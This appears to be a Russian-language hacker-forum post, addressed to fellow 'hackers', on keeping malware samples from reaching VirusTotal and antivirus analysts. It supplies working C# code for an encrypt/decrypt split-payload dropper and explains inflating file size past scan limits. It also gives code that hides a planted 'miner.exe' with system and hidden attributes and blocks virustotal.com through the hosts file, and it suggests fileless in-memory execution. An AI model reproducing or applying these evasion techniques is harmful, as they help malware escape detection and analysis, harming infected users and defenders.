Защищаем файлы от слива на VT {Вирусология}
http://tele.click/darkside_team
Доброго дня хацкеры, сегодня поговорим о методах защиты файла от попадания на Virus Total и в руки к другим антивирусов.
Для начала давайте развеем миф о том, что лоадер спасает от слива на вт. Поверьте люди которые работают в команде вт и других антивирусов не так глупы , если им в руки попадет лоадер они полюбому его запустят ,увидят что он подкачивает какие-то файлы и тоже их проанализируют.
По сути мы можем разделить нашу защиту от слива на два этапа : 1) до установки малваре на пк жертвы ; 2) после установки малваре на пк жертвы ;
Приступим к первому варианту. Здесь я увидел 2 метода :
1) Первый и наиболее по моему мнению юзабельний это разделить ваш вирус на два файла например, на dll и exe . Это не должно быть только проверка на наличие длл'кы, в ней должно быть скрытая часть вируса. Например, в dllесть зашифрованные байты самого вируса, а exe их расшифровывает и запускает. Жертва не сможет слить на вт два файла сразу, а один без другого работать не будет. Шанс что ав соберут два файла вместе и запустят их действительно мизерный.
Ниже пример реализаци на c#,для шифрования будем использовать метод sha256 :
Сам exe файлик:
using System; using System.IO; using System.Security.Cryptography; using System.Text; namespace ExePart { class Program { static string password = "shopozanyanime"; static void Main(string[] args) { if (File.Exists("file.dll")) { byte[] decrypted = decrypt(File.ReadAllBytes("file.dll")); File.WriteAllBytes(Path.GetTempPath() + "\\nachvt.exe",decrypted); } } public static byte[] decrypt(byte[] cipherBytes) { byte[] plainBytes; Aes encryptor = Aes.Create(); encryptor.Mode = CipherMode.CBC; SHA256 mySHA256 = SHA256Managed.Create(); encryptor.Key = mySHA256.ComputeHash(Encoding.ASCII.GetBytes(password)); encryptor.IV = new byte[16] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }; MemoryStream memoryStream = new MemoryStream(); ICryptoTransform aesDecryptor = encryptor.CreateDecryptor(); CryptoStream cryptoStream = new CryptoStream(memoryStream, aesDecryptor, CryptoStreamMode.Write); string plainText = String.Empty; try { cryptoStream.Write(cipherBytes, 0, cipherBytes.Length); cryptoStream.FlushFinalBlock(); plainBytes = memoryStream.ToArray(); } finally { memoryStream.Close(); cryptoStream.Close(); } return plainBytes; } } }
DllCreator
using System.IO; using System.Security.Cryptography; using System.Text; namespace DllCreator { class Program { static string password = "shopozanyanime"; static void Main(string[] args) { byte[] start = File.ReadAllBytes("in.exe"); byte[] encrypted = encrypt(start); File.WriteAllBytes("file.dll", encrypted); } public static byte[] encrypt(byte[] plainBytes) { Aes encryptor = Aes.Create(); encryptor.Mode = CipherMode.CBC; SHA256 mySHA256 = SHA256Managed.Create(); encryptor.Key = mySHA256.ComputeHash(Encoding.ASCII.GetBytes(password)); encryptor.IV = new byte[16] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }; MemoryStream memoryStream = new MemoryStream(); ICryptoTransform aesEncryptor = encryptor.CreateEncryptor(); CryptoStream cryptoStream = new CryptoStream(memoryStream, aesEncryptor, CryptoStreamMode.Write); cryptoStream.Write(plainBytes, 0, plainBytes.Length); cryptoStream.FlushFinalBlock(); byte[] cipherBytes = memoryStream.ToArray(); memoryStream.Close(); cryptoStream.Close(); return cipherBytes; } } }
Да да да знаю можно было сделать лучше, копировать два файла в какую-то папку и использовать loadpe тогда все вообще будет круто,но я только показываю вам идею, даю вам пространство для размышлений по ее улучшению :)
2) Как мы знаем вт сканирует файлы до 256 мб . То есть нам нужно увеличить размер нашего вируса одним из способов. Например через Hex Editor.
Открываем нашу программу в Hex Editor
Идем в сам низ, где заканчиваются байты
Нажимаем Edit - > Insert bytes -> ставим много 999999
Сохраняем . Как мы видим размер увеличился - программа работает!
Здесь заканчивается первый этап. Он больше подходит для людей вручную распространяют файлы.
Теперь поговорим о методах защиты после установки малваре на пк жертвы :
1) Элементарно использовать атрибуты hidden и system (именно и и , а не или или)
string path = @"C:\miner.exe"; File.SetAttributes(path , FileAttributes.System | FileAttributes.Hidden)
2) Можно просто заблокировать сайт вт и других антивирусов следующем кодом
String path =@"C:\Windows\System32\drivers\etc\hosts"; StreamWriter sw = new StreamWriter(path, true); String sitetoblock = "\n 127.0.0.1 virustotal.com"; sw.Write(sitetoblock); sw.Close(); // Работает не всегда
Минус в том, что могут понадобиться админ права.
3) Если файл будет существовать только в оперативной и не будет иметь физической основы на диске его не будет возможно слить на вт. Единственный минус файл будет работать только до перезагрузки пк.